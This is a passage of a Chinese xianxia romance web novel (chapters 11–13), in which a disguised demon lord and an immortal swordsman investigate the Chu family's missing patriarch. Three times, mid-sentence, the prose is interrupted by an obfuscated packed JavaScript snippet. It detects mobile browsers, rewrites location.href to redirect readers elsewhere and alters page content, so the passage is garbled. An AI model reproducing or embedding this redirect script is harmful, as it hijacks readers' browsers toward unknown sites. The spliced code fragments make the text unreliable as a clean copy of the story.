萧无雪:“……你自己是没手吗?” “是没有啊,这不是抱着你呢?”说着,还哄小孩似的颠了颠。 “……” 萧无雪的神情堪称屈辱,但封烛已抱着他走到门边,一门之隔就是来来往往的褚家弟子,眼下再弄出动静,多半要被发现。 萧无雪闭了闭眼,两相抉择做出了决定,妥协般伸手在封烛脖颈间一抚。 他指尖冰凉,动作也绝对谈不上温柔,落在封烛身上却好似小猫轻挠,只留下些许痒意。 封烛喉头滚动一下,只觉心底也跟着发起痒来。 再垂眸看去,萧无雪已经收回手,闭上眼,静静窝在封烛的怀抱中闭目养神。 不再说话,但也不再挣扎。 他的伤势应当还是很疼,就连易容术也遮掩不住那苍白疲惫的脸色,睫羽轻轻颤动,透着一股难以言喻的脆弱。 惹人心疼,也……惹人遐想。 封烛不自在地移开视线,转移了话题:“说起来,你这伤究竟是怎么回事?没听过哪个修士受伤之后一点魔息也碰不得,那无尽渊真有这么厉害,连你都对付不了?” “你伤成这样,仙盟都没给你请医仙吗?” “多半是医仙水平太差,我就说那群所谓的正道之士都是饭桶,要换成我们魔族的巫医可不会这样。” “你不肯与我去魔域,那我找人来帮你看看?你这伤一直不好,万一以后真和魔族打起来,你上得了战场吗?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775860|157898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……我帮你看也行,我也懂一点。” 封烛絮叨起来就没完,萧无雪靠在他的肩头,头也不抬:“……闭嘴,你好吵。” . 萧无雪被封烛抱出船舱,引来了不少褚家弟子的关心,全被封烛以“阿霁身体不适”为由简单打发了。 仙舟不能进城,只能停泊在江都城外。众人下了仙舟,步行入城。 准确来说,是众人步行,而萧无雪由封烛抱着入城。 极乐城距江都路途遥远,他们一早出发,到达江都城外已是黄昏时分。冬日的江都笼罩在凛凛寒风与细雪中,冷得刺骨。 如此严寒冬日,唯有封烛身上依旧跟个暖炉似的,格外暖和。 仙身本无惧寒暑,可封烛偏要演戏演全套,小题大做地从储灵戒中取了件厚重的狐裘大氅,给萧无雪裹了个严严实实,确保就连他的头发丝也吹不到一丝寒风。 萧无雪放弃挣扎,任由他摆弄。 ……反正别人又看不清他的模样,丢脸的不是他。 褚家身为仙门世家,并不像寻常仙门那般选址在清气鼎盛之地。褚家府宅坐落在江都城最繁华热闹的区域,宽阔的宅邸足足占了小半条街,一墙之隔就是人来人往的民间集市,可谓闹中取静,十分阔气。 可今日,那府邸外却围着许多百姓。 “这是怎么回事?” “让开,让开,都围在这里做什么?” 褚家弟子艰难挤进议论纷纷的人群,终于看清了前方的景象。 褚家门前的空地上,站着十余名身着淡紫仙袍的年轻人,皆腰间佩剑,神情肃穆。他们的前方,一名紫衣青年抱剑而立,扬声喝道:“褚令修究竟去了何处,今日你褚家不给个交代,此事休想善了!” 褚令修便是褚家家主的姓名,敢在褚家门前如此叫阵,不可不谓之猖狂。 封烛眉梢一扬,被怀中人拉了拉衣袖。 萧无雪朝他传音道:“……是仙盟。” 封烛低下头,费了点功夫才找到那双被裹在毛绒狐裘中的,平静无波的双眼。 二人对视一眼,封烛轻轻把人放下了地。 褚元丰大步上前,问那与仙盟弟子对峙的另一位青年:“大哥,这是怎么回事?爹怎么了?” 褚家大公子褚元怀朝他摇摇头,心平气和对仙盟弟子道:“这位仙长,我已经告诉过你很多次了,我爹外出未归,我们也不知道他去了何处,待他回来……” “外出未归?”紫衣青年冷笑一声,“仙盟前几日刚接到线报,说你褚家违反仙盟律法,私藏禁药。我等奉命前来调查,褚令修却偏巧不知所踪。难不成他是猜到仙盟会找上门来,畏罪潜逃了?” 他拔剑出鞘,直指褚家兄弟:“今日你们若交不出褚令修,就将褚家上下相关人等全数押回仙盟,由三尊定夺!” 仙盟弟子纷纷出剑,围观百姓一哄而散。 褚元怀脸色一变:“仙长这是做什么,你们要查要搜,褚家今日都全力配合。如今什么都没搜到,却要强行抓人,这难道就是仙盟的律法吗?!” “褚公子这话是什么意思?”紫衣青年冷声道,“私藏禁药非同小可,我们不过是要召相关人等前去汴京问话,你们若当真问心无愧,又何惧之有?” “劝你们乖乖束手就擒,若胆敢反抗,按谋逆罪拿下!” 众人闻声而动,有两名仙盟弟子恰好站在萧无雪附近,伸手朝他抓来。 然而,没等他们碰到萧无雪,忽然被一道无形气劲掀翻出去,还连带着撞翻了身后的七八个人。 七八名仙盟弟子瞬间摔做一团,萧无雪面无表情转过头。 封烛与他对视,颇为歉疚地叹了口气:“好像太用力了……我以为他们能再厉害点呢,唉。” 萧无雪:“……” 11. 第 11 章 跌倒的仙盟弟子恰好摔在紫衣青年脚边,后者勃然大怒,当即提剑而上。 封烛不紧不慢一抬手,只用两指便钳住了对方剑锋。 紫衣青年厉声喝道:“你是何人!胆敢阻挠仙盟执法,不要命了吗?!” 封烛满脸困惑:“是你们不由分说打上来,怎么又变成我不要命了?” 他转头问萧无雪:“仙盟都这么不讲道理吗?” 萧无雪:“……” “你这混账——!”青年手中长剑骤然剑光大涨,他手腕翻转,挣脱封烛钳制,反手朝他刺去。 那剑身灵力涌动,万千寒光刹那间汇成无数寒冰小剑,从四面八方朝封烛袭来。 封烛轻轻“咦”了一声,足尖轻点后退两步,顺势从一名褚家弟子腰间抽出佩剑,随手一挥。 锵——! 剑锋相接,封烛稳稳架住了对方的长剑。 青年这一剑本是带了几分杀意的,眼下却被轻易化去。再看封烛手中的佩剑,普普通通的中品仙剑静静躺在他手上,不曾附着任何剑气。 竟是没用半分内息! 在场皆是修真子弟,就算不是剑修,也能看出封烛这一剑是何等惊鸿玄妙。周遭传来压低的惊诧与议论之声,萧无雪定定注视着这一幕,眸光微微一动。 青年的神情登时变得格外难看:“你究竟是何人?!” “一个被无辜牵连的路人罢了。”封烛淡声开口,语气不知为何透着一股兴意阑珊。 他剑锋轻轻一挑,将青年逼得踉跄一下,随后干脆利落地挽出一个剑花,头也不回,将佩剑掷回褚家弟子腰间的剑鞘中。 长剑入鞘,封烛悠悠道:“没人想阻碍仙盟执法,但我们与褚家非亲非故,你们就是要抓人,也没必要牵连我们这等无辜良民吧。” 萧无雪:“……” 褚家众人:“……” 刚被无辜良民打了一顿的仙盟弟子:“……” 青年神情几度变化,想说什么却又无从开口,转头对褚元怀朗声道:“今日就这么算了,限你们三日内交出褚令修,否则,下次再登门的就是仙盟执法司了!” 他最后扫了封烛一眼,手中捏起一道传送法阵,带着众仙盟弟子消失在原地。 待人走后,褚家弟子才纷纷围上前来。 “云大哥没事吧?” “没想到云大哥身手这么好!” “仙盟这些年真是越来越猖狂了,这次多亏了云大哥!” 众人你一言我一语,封烛随口应付几句,视线朝一旁的萧无雪看去。后者也正望着他,神情微微怔愣,见他看过来,若无其事转开了视线。 封烛眉梢一挑,正想说什么,却听见身后有人唤他:“二位便是云公子吧。” 是褚元怀。 褚元怀比褚元丰略长几岁,眉宇间的神韵与他弟弟倒有几分相似,不过周身气质却沉稳许多。 他走上前来,朝二人拱手行礼:“多谢云公子出手解围。” “褚公子不必多礼。”封烛摆摆手,“我没想帮你们解围,只是对方见打不过我,自己跑了而已。” 褚元怀:“……” 他多半没想到封烛说话会这么直接,无奈一笑,心平气和道:“此地说话多有不便,还请二位进府一叙。” . 江都城外的树林里,仙盟众弟子自传送法阵中现了身。 紫衣青年泄愤般一脚踹在身旁的树干上,惊得枝头的积雪簌簌落下。 众弟子你看看我,我看看你,大气也不敢出。 半晌,一名年轻弟子小心翼翼开了口:“徐师兄,你……你消消气。” “是啊徐师兄,”另一人接话,“那个人剑法深不可测,说不准是哪家仙门大能,输给他不丢——” 他话没说完,被身旁的人狠狠踩了一脚。 林中再次陷入沉寂,徐至谦垂下眼,执剑的手仍在微微颤抖。 方才对方出那一剑看似随意,实则力道悍然,他那时不觉,此刻放松下来才发觉整条小臂都被震得隐隐作痛。 徐至谦自幼修行天赋极高,他十五筑基,二十结丹,二十三岁便被选入仙盟。从默默无闻到如今的高阶弟子,徐至谦靠着过人的天赋一路顺风顺水,还从没有吃过这样的亏。 那究竟是什么人? 这个节骨眼上出现在褚家,又想做什么? 徐至谦深深吸气,勉强找回理智:“褚家的事,不能就这么算了。” 众弟子彼此对视一眼,有人小声开口:“但就凭我们几个,恐怕……” “是啊,要不还是上报执法司,让他们加派人手……” “执法司?”徐至谦冷笑一声打断,“就执法司那群无利不起早的饭桶,让他们插手,这禁药还查不查了?” 众人悻悻闭了嘴,徐至谦眸光沉下来,愤然道:“若是凌云仙尊还在……” 他没再继续说下去,转头吩咐道:“派人盯紧褚家,再查一查今日那两人的身份,有任何异动,立刻向我回报。” 众弟子:“是。” . 萧无雪与封烛就这么被请进了褚家。 褚家内部与寻常富贵人家的宅邸没什么两样,庭院内花草丰茂,亭台水榭应有尽有。唯一的特殊之处是,府内随处可见装备齐全的巡视弟子,院子里种植着修真界特有的灵花异草,每一种,都并非民间轻易能见到的品种。 二人跟着引路弟子穿过回廊,负责巡视的褚家弟子与他们错身而过,纷纷驻足行礼。 封烛故意放慢脚步,凑到萧无雪跟前。 “你方才想与我说什么?”他传音问萧无雪。 “?”萧无雪将视线从墙角一簇形状特别的灵草上收回来,莫名其妙,“我没有要与你说话。” “是吗?那刚才在褚家门外时,你为何那样看我?”封烛道,“我还以为你要说我英俊潇洒,玉树临风,令你心醉神迷,移不开眼。” 萧无雪:“……” 萧无雪问:“你闭关百年,修炼的是脸皮吗?” 封烛险些没忍住笑出声来,轻咳一声作为掩饰,才又问道:“刚才那人是谁,为何会用你的凌云剑法?” “不知道。” “嗯?” 萧无雪淡声道:“凌云剑法早被写作剑谱,在仙盟内部传阅,所有仙盟弟子皆可修习。方才那人看衣着当是仙盟高阶弟子,会几招不奇怪。” 封烛咂舌:“那可是你的独创剑法,居然就这么公布出去……你可真够大方的。” 萧无雪不以为意:“剑法本就是给人用的,何况我不过是将招式写下,能学多少,全看各人本事。” “这倒也是。”封烛道,“我看方才那小子就学得不怎么样,亏我还以为遇到了你的什么亲传弟子,想试试他的深浅呢。” 他失望地摇头:“谁知道身手这么差,连我半招都接不住……” 萧无雪默然无语。 且不说方才那弟子年纪尚轻,就是纵览整个仙盟,恐怕也找不出几个能接住封烛招式的人。 这人到底有没有自己在欺负小辈的自觉? 他有点无奈,又有点想笑,悠悠道:“你该庆幸这剑法如今传播甚广,否则,就凭你方才应对得那般熟练,多半要被人怀疑身份。” “真的吗?”封烛摸了摸下巴,“我以为我装正道剑修装得挺像呢。” 萧无雪没有接话。 封烛方才御敌时不曾使用丝毫内力,但应对招式,的确都是正统剑术。 那剑势利落漂亮,风骨凛然,若非知晓他的身份,恐怕真会以为他是个仗剑江湖的四方游侠。 封烛,的确是个习武奇才。 他若不是魔…… 萧无雪垂下眼,没再继续想下去。 二人被引至会客厅稍待,一盏茶尚未喝完,褚家两兄弟便到了。 褚家这两兄弟看模样其实也不像什么仙门世家的传人,尤其那位大公子褚元怀,文质彬彬,待人和善,举手投足更像一位温良文雅的富商。 事实也的确如此。 听闻褚家大公子不善修行,至今不过将将筑基,远比不过褚元丰的金丹中期。 不过,褚元丰显然很敬畏他这位大哥,二人一前一后进了门,后者乖乖低着头,规规矩矩一言不发。 也不知是不是刚被训过一顿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775861|157898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 褚元怀面上倒看不出什么异样,他客客气气朝二人行了礼,落座第一句话便直入主题:“听说,二位是为了噬魂丹而来?” 先前在仙舟上,萧无雪与褚元丰谈过,对方表示会将他们的来意告知家人,说服褚家配合。 眼下看来,他已经把该交代的事都交代了。 倒是省了不少事。 萧无雪点点头,平静应道:“还望褚公子告知一二。” “舍弟先前冒犯过二位,二位不仅既往不咎,如今还替褚家解了围,褚家理当好生感谢二位,知无不言。不过……” 褚元怀脸上露出歉疚之色:“这噬魂丹的来历,我们也不知晓。” 萧无雪与封烛对视一眼。 褚元怀解释道:“此物最初是被人匿名送至褚家,来人只留了信函,信中除了表明此物是什么,又有何功效之外,并未透露任何信息。” “收到丹药后,在下与家父都十分不安,因此只将东西封锁库房,不敢妄动。” 说到这里,他朝褚元丰看了一眼:“后来我们察觉部分丹药失窃,意识到此物留在家中迟早引来祸患,故而在下与家父商议,在数日前便已将剩下的丹药尽数销毁。” 萧无雪眉宇蹙起:“销毁了?” “是。”褚元怀道,“这也是为何,今日仙盟前来搜查,却并未在褚家查到任何禁药。褚家能在江都立足,全仰仗仙盟及各大仙门世家的照顾,是断然不敢买卖藏匿禁药的。” 萧无雪淡声道:“这么说来,对方留下的书信,应当也一并销毁了。” 褚元怀点点头:“自然。” 萧无雪不说话了。 褚元怀这话看似大义凛然,实际错漏百出。 虽不知这药究竟是不是已被销毁,但按照褚元丰先前的说法,褚家分明是先派人试了药,随后才将丹药封锁库房。 说什么不敢买卖藏匿禁药,纯属睁眼说瞎话。 不过那些皆是褚元丰的一面之词,褚家若咬死不认,他们没有更多证据,也无可奈何。 封烛正想开口,却见萧无雪朝他微不可查地摇了摇头。 “既是如此,我们也不为难褚公子了。”萧无雪悠悠道,“不过在下倒是好奇,方才那仙盟弟子离开前,让褚公子三日内寻回家主……不知褚公子可想好应对之法了?” 褚元怀神情稍滞,缓声道:“家主只是临时有事外出,待他回来……” “只是有事外出?”萧无雪轻声打断,“但我观褚家处处戒备森严,府上弟子皆随身配备武器,就连庭院中种植的灵草也临时移位了好几处,似乎恰好构成了一道防御阵法……” 他语调不紧不慢,褚元怀的神情彻底变了。 萧无雪平静回望他,微笑起来:“仙盟弟子分明已经离开,褚家却仍如此严阵以待。是褚公子知道家主回不来,担心三日后仙盟去而复返,还是……你们其实是在防着什么另外的人?” “……褚家家主,眼下当真安好吗?” 他话音落下,会客厅内的气氛顿时陷入僵持。 褚元怀一言不发,缓慢抬起手边杯盏饮了口茶。 褚元丰瞄了褚元怀一眼,像是想说什么,又深深低下头,一声也不敢吭。 沉重得叫人喘不过气的氛围中,唯有封烛支着脑袋,眼也不转地望着萧无雪,眼底带着欣赏,以及一丝不知从何而来的,极其微妙的洋洋得意。 那视线露骨得叫人难以忽视,萧无雪警告般瞪他一眼,后者却岿然不动。 全然不管眼下是个什么气氛。 萧无雪不悦地蹙了眉,趁无人注意,悄然在手中捏出一道气劲,指尖一弹—— 一道暗含剑意的清风拂过,封烛仿佛被迎风扇了一巴掌,不轻不重地力道强行让他扭过了头,也险些撞翻了手边的茶盏。 褚家兄弟不约而同朝他望去。 “……” 万籁寂静下,封烛缓慢转回头来,神情似有些不可置信。反观萧无雪,静静端坐原地,还若无其事品起了茶,仿佛一切与他无关。 “没事……” 封烛盯着对方那被茶水润泽的薄唇,笑着轻轻磨了下牙:“杯子没拿稳。” 12.第 12 章 会客厅内再次陷入短暂沉寂。 褚元怀久久没有开口,萧无雪无声舒了口气,站起身来:“看来褚公子对我们仍有防备,既然如此,我们便不多留了,就此告辞。” 他朝封烛使了个眼色,二人起身欲走,身后忽然传来喊声:“等等!” 是褚元丰。 褚元怀低声喝止:“元丰!” “大哥,都什么时候了,你还不肯说实话吗!” 褚元丰其实是个软弱的性子。在外人面前表现得张扬跋扈,那是因为他自小受宠,知道有人撑腰。可一旦吃了亏,或是遇到更强势的人,他便会立即露出他那胆小怕事的本性。 审时度势,欺软怕硬,这就是这纨绔的行事风格。 萧无雪还是头一次见他表现得如此强硬。 褚元丰道:“你不说我说!云公子,其实我爹他——” 他话未说完,被褚元怀按住了肩膀。 青年神情仍有犹豫,他与褚元丰对视一眼,又看了看前方的萧无雪与封烛,最终下定决心般重重叹了口气。 “还是我来说吧。” 褚家家主褚令修,的确是失踪了。 没有人知道他去了哪里,褚元怀只知道,褚令修在临走前带走了库房里所有的噬魂丹,并嘱咐他,若他此行久久未归,褚家上下要立即开启警戒,以防敌袭。 至于为何会有敌袭,以及那敌人究竟是谁,褚元怀一无所知。 迄今为止,已经有十天了。 “十天啊……”封烛随口接话,“那可凶多吉少了。” 萧无雪瞪他一眼,示意他闭嘴。 “家主失踪一事不敢声张,只有家中少许长辈与高阶弟子知晓。”褚元怀苦笑一声,“我褚家以凝丹炼药为长,在寻人一事上却并不擅长。此番出了事,家里能派的人都派出去了,去极乐城接诸位回来的仙舟,本也是以搜寻灵脉为由派出去,想试试能不能找到家主的线索。” 萧无雪明白过来。 难怪接到褚元丰的书信后,褚元怀便立即派了仙舟前去接应。 并非对其百依百顺、毫无怀疑,而是家中出了这么大的事,无论如何都有必要尽快将褚元丰接回来。 至于跟着褚元丰回来的萧无雪与封烛,褚元怀自然也是心怀戒备的。 二人在这个节骨眼上出现,又坦言是为了噬魂丹而来,的确很难不让人怀疑。 不过…… 褚元怀又叹息一声:“元丰说得对,如今褚家自身难保,没有必要再隐瞒下去了。” 他朝二人躬身作揖:“在下方才一时糊涂,还望二位莫怪。” 萧无雪淡声道:“家主出事在先,褚公子心有怀疑是情有可原,不必如此。” 褚元怀直起身来:“除此之外,在下还有一事相求。” 萧无雪:“帮你们找人?” 褚元怀:“正是。” 萧无雪不答,褚元怀忙道:“在下方才所言不完全是假,那噬魂丹的确是被人匿名送来家中,收到丹药后,也是家父力排众议,要将此物封存起来,不可流通于世。” “家父绝非意图不轨之人,他一定是知道了什么线索,才会独自带着丹药离开。” 褚元怀再次弯下腰,郑重朝二人行了一礼:“二位若能将人寻回,褚家必有重谢!” 萧无雪还是没有回答。 其实就算褚元怀不开口,仅凭如今得到的信息,萧无雪也势必会顺着线索去查一查褚令修的踪迹。 不过…… 他下意识朝封烛看了一眼,后者抱臂而立,指腹有意无意地摩挲着侧脸,不知在想什么。 一派事不关己。 萧无雪略有不满地蹙了下眉,眸光一转,又想到什么,微笑起来:“此事褚公子不该求我。” 他偏头望向封烛,眸光明亮而温和:“我兄长有一招独门绝技,最便于寻人,你们求他就是。” 褚家兄弟也跟着看向封烛,后者后知后觉,疑惑地张了张口:“……啊?” . 夜幕降临,褚家偏院的客房内,封烛望着桌上被送来的褚家家主的随身衣物,轻轻磨了下牙。 “阿霁,你这是什么意思?” 萧无雪一本正经:“听说你们魔族嗅觉极其灵敏,只要有沾染对方气味的物品,便能千里寻人。我这是给你机会表现啊。” 他用两根手指拎起衣物,扔到封烛面前:“来,闻闻。” 封烛恼道:“你这是把本座当狗使唤吗?” “话不能这么说。”萧无雪平静道,“先前在万海集市,你不就是用这法子找到我的?既然已经用过,再用一次也无妨,不是吗?” 封烛愣了下,有些诧异:“你一直是这么认为的?” 萧无雪抬眼看他。 二人短暂对视一眼,封烛意识到了什么,也不恼了,微笑道:“阿霁,这你就错了,我当时寻你用的可不是这法子。” 他不知为何心情忽然好了起来,耐心与他分析:“那时我们刚刚重逢,仓促一面,我去哪里得到你的随身物品?就算我过去真留下了点你的什么东西,历经百年,气味也该散尽了。” “你这么聪明,怎么连这点道理都想不明白?” 萧无雪不说话了。 其实他方才那话不过随口一说,封烛是怎么找到他的,他并没有那么关心。 魔族功法体系庞杂,与正道极为不同,萧无雪不可能尽数知晓。从而产生误解,也没什么奇怪的。 总归不过是另一种不为人知的魔族秘术罢了。 萧无雪本无意在此事上深究,可封烛几次提起此事,态度都神神秘秘,格外暧昧,反倒引起了他的兴趣。 难不成其中真有什么特别的关窍? 萧无雪沉默片刻,若无其事朝封烛瞄了一眼,却见对方支着下巴坐在桌旁,一副好整以暇,等着他主动去问的模样。 萧无雪:“……” 他就不问。 萧无雪正色道:“你究竟查是不查?不查就出去。” “查。”封烛笑着道,“你都这样开口求我了,我怎么舍得拒绝你。” 萧无雪艰难把一句“没有人在求你”咽回去,对他做了个“请”的手势。 封烛慢悠悠站起身来。 先四下看了一眼。 以为他是顾及魔息被人发觉,萧无雪道:“我已在这房中设下禁制,你可自如使用法术,不会被人察觉。” “不用。”封烛活动一下筋骨,随口道,“这法子用不上法术。” 他话音落下,屋内骤然闪过一道血红魔光。 光芒散去,封烛的身影消失不见,只在原地留下了……一只漆黑的魔兽。 那魔兽约莫幼犬大小,四肢着地,身后跟着一条细长的兽尾。它的外形并不像凡间任何生物,通体覆盖着细密的黑色绒毛,面露凶相,一对竖瞳是如墨般极其深邃的黑色,眼底隐隐泛起暗红的魔光。 它仰头与萧无雪对视,小小的身躯透出一股睥睨天下的气势。 萧无雪:“……” “你……”萧无雪艰难开口,“你这是……” 魔兽纵身一跃,轻盈落到桌上,口吐人言:“不是要让本座找出那姓褚的下落吗?不这样怎么找?” 魔族生来就是兽形,是通过后天修行方才化作人形。 要充分发挥魔族天生的敏锐嗅觉,自然是兽形来得方便。 道理萧无雪都懂,他古怪地沉默片刻,谨慎斟酌字句:“我就是没想到你们魔族的原型居然……居然这么……” 他强撑着理智,没把到了嘴边的那两个字说出口。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14777792|157898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>封烛大概猜得到他在想什么,不悦地摆了下尾巴,悠悠道:“这不过是魔族的幼兽形态,本座真正的原型要变出来,这宅子就别想要了。” 这倒确实。 萧无雪虽不曾见过封烛的原型,但他在大战时见过其他魔族完整的魔兽形态。那巨大的凶兽身覆坚硬魔麟,背生双翼,一脚便足以踏平这整间屋子,可谓威风凛凛。 ……叫人实在无法与眼前这只小小魔兽联系起来。 萧无雪不说话了,封烛在衣物间低下头去,仔细嗅了嗅。 魔兽修长的尾巴垂在桌沿边,随意摇晃,尾巴末端的绒毛长而浓密,看上去仿佛缀着一个漆黑的毛团。萧无雪的视线不自觉跟着那毛团左右晃动,没忍住,好奇地伸出手去,状似不经意般从那尾端轻轻扫过。 触感并不似想象般柔软,而是略微粗硬的质地,扫过指间微微发痒。 封烛抬起头,萧无雪闪电般收回了手。 “如何?”萧无雪淡声问。 封烛疑惑地摆了摆尾巴,似乎对某些异样的触感有些纳闷,但还是认真答道:“西南方向,不超过五百里,气味很淡,但应该还活着。” 不超过五百里。 竟然在这么近的地方? 萧无雪点点头:“事不宜迟,我们这就出发吧。” 他起身欲走,还没走到门边,身后忽然扬起一阵清风。 萧无雪下意识转身,眼前却是一暗。 那只小小魔兽从桌上朝他扑来,两只前爪碰到萧无雪胸膛时,身体却骤然变大,直接将他扑到了地上。 长大些许的凶兽周身皮毛更为浓密粗硬,它踩着萧无雪的肩膀,轻而易举将人按在地上,居高临下望他,张口吐出炽热的气息:“阿霁,你这么急做什么?” 这一幕若被旁人看去多半会觉得骇然,但萧无雪的神情依旧十分平静:“褚令修或许掌握着关键线索,他如今生死未卜,我们自然要抓紧时间。” 封烛并不听他说话,慢慢俯下身来,粗硬的绒毛扫过萧无雪的脖颈、脸颊。 萧无雪不适地偏过头,皱眉推它:“你先放开我。” “不放。” 化作原型的封烛言行也仿佛带上了兽性,凶兽巨大的头颅在萧无雪脖颈间挨挨蹭蹭,那动作不像撒娇,反倒像是捕食了猎物的兽类,斟酌着该从何处下口。 他含笑道:“你今天是不是打我来着,我还没报复回来呢,不能放。” 萧无雪颈侧的皮肤被蹭红了一片,无可奈何问:“你要如何?” 凶兽不再动了。 它一动不动盯着萧无雪,一双竖瞳微微眯起,像是在思索。 “好像也不能如何。”半晌,封烛放弃似的叹了口气,“又舍不得打你。” 这纯粹是睁眼说瞎话,萧无雪心道,百年前封烛挠他那一爪子时,可没见他心软。 萧无雪道:“不打,就滚开。” “不滚。”凶兽重新俯下身来,话语中带着危险的笑意,“阿霁,你对魔族还是太不了解了。” “……我们魔族报复人的方式,可不是只有打回来一种啊。” 萧无雪眉宇蹙起,望向那双泛着血红魔光的竖瞳。 “魔族生来具有兽性,就像野兽能标记自己的伴侣,魔族与人交合后,也能留下自己特有的印记。那东西有人将其叫做标记,也有人叫做烙印,力量强大,永不磨灭。” “烙印铭刻在肉.体之上,能使人言行都受到魔族制约,定期渴求魔族安抚……” 封烛缓慢解释着,随着话音落下,身形忽又变化。 周身皮毛褪去,四肢舒展,巨大的凶兽重新变回了人形。 他俯身注视着萧无雪那张沉静漂亮的容颜,眼底带着一贯的戏谑笑意,慢悠悠补完了最后一句话:“也就是……发情。” 13.第 13 章 屋内陷入沉寂,唯有烛火无声跳动。 封烛望向萧无雪波澜不惊的神情,不悦地皱了眉:“你怎么不害怕?” “害怕什么?”萧无雪平静道,“怕你忽然强迫于我,我为了反抗不得不出剑与你打起来,然后你我身份纷纷暴露,世人察觉魔族重现人间,仙盟集结修士奔赴北域,与魔族再拼个你死我活?” 封烛:“……” 封烛愤愤道:“你这人真是太没意思了!” 萧无雪毫不留情将人推开,站起身来,整了整衣衫:“抱歉,我这人就是这么没意思。你若受不了,不妨趁早死心,去寻别人做你的道侣吧。” 他不再理会对方,转身推门而出。 封烛呆愣原地,好一会儿,才从对方话中品出了些别样的意味。 他无可奈何般笑了笑,快步追出去:“可我就喜欢你这样的,怎么办呢,只有忍着了!阿霁?阿霁,你等等我呀!” 萧无雪脚步微顿,头也不回地走进了夜色。 . 寻到了家主踪迹,褚元怀也没再耽搁,当即点了几名高阶弟子随萧无雪与封烛出发。 他们没有驱使仙舟,而是直接御空而行,往西南方向赶去。 凌云仙尊的御剑速度哪里是旁人比得上的,小半个时辰后,众人气喘吁吁在一处山崖上现了身。 “一群废物,你们平时到底有没有好好练功?是不是都偷懒去了?”封烛在一旁说起了风凉话。 褚元丰累得满头大汗,忍不住回嘴:“可是云大哥,你也没有御剑啊……” 魔族的御空之法与正道极为不同,封烛不能在人前显露,因此,只有他是由萧无雪载着御剑的。 说这话时,他甚至连手都没有从萧无雪腰间放下。 “那能一样吗?”封烛一手揽着萧无雪的腰身,得意洋洋,“阿霁是心疼我施法寻人,舍不得我劳累。” 褚元丰被腻歪得龇牙咧嘴。 萧无雪这几日持续受到精神迫害,已经逐渐习惯了封烛这说话方式。他不紧不慢拍开对方的手,道:“去,再闻闻,人在哪儿?” 封烛:“……” 封烛满脸不甘又不敢发作,闷声闷气朝前一指:“应该就在前面了。” 沿着山道继续往前,山脚下,是一座静谧的村落。 如今夜色已深,借着月色可见那村落中家家户户房门紧闭,一派安宁。 萧无雪眉宇微蹙:“在村子里?” “看起来不像。”封烛摩挲着下巴,“气味到这里就变淡了,隐隐约约的,感觉不出具体方位……反正肯定在这附近就是了。” 萧无雪狐疑地看他一眼,有点怀疑这人是不是在认真帮忙。 他没再说什么,抬手幻化出几枚镂空雕刻剑纹的玉符,分给了褚家众弟子。 “此物被我施了法,可感知褚家家主踪迹。你们带上此物,先在附近山中搜寻一番。”萧无雪吩咐道,“辰时以前不要进村,莫要惊扰农户休息。” 众人听命离开,山崖上很快只剩下萧无雪与封烛,以及……褚元丰。 褚家不以武力修行为长,褚元丰这金丹初期的修为,在褚家弟子里算是中等偏上。他兄长本欲让他守在家里,可不知为何,这小少爷却积极得很,偏要跟着一起来找人。 偏要跟来就罢了,还磨磨蹭蹭,在眼前碍眼。 封烛不悦地瞥他一眼,后者迎上他的目光,讨好地笑:“云大哥……” 封烛抬了抬下巴,示意他有话快说。 褚元丰小心翼翼道:“天亮之后就是第三天了,我的解药……” 封烛:“……” 险些忘了,先前在极乐城时,为了让褚元丰配合他们,封烛用饴糖装作蛊毒骗了这小少爷。 感情是为了这事跟来的。 但那东西现在可不在封烛身上。 封烛转头问萧无雪:“阿霁,人家找你要‘解药’呢。” 褚元丰恍然,又眼巴巴去看萧无雪。 萧无雪神色淡淡,伸手往怀中一探,动作却骤然顿住。 他的神情难得有片刻空白,与封烛对视一眼,若无其事移开了目光。 “……丢了。”萧无雪淡声道。 “啊???”褚元丰急道,“那我该怎么办,不是说那解药每三天就要吃一颗吗?丢在哪儿了,怎么丢的,天马上就要亮了,现在还能找到吗???” 褚元丰在一旁急得团团转,封烛望向萧无雪故作镇定的侧脸,意识到了什么,没忍住笑起来。 褚元丰险些哭出声:“云大哥,你怎么还笑啊!” “咳……”封烛清了清嗓子,勉强止了笑意,安抚地拍了拍褚元丰的肩膀,“不急,不急,谁说那蛊毒只有一种解法了?” 褚元丰:“真、真的吗……” “真的。”封烛随口道,“你转过去,闭上眼,别偷看啊。” 褚元丰连忙转过身,封烛故弄玄虚地念了一段不知从哪里学来的咒诀,随手在他背上一拍。 封烛道:“你好了。” “啊?”褚元丰疑惑,“可我怎么一点感觉都没有……” 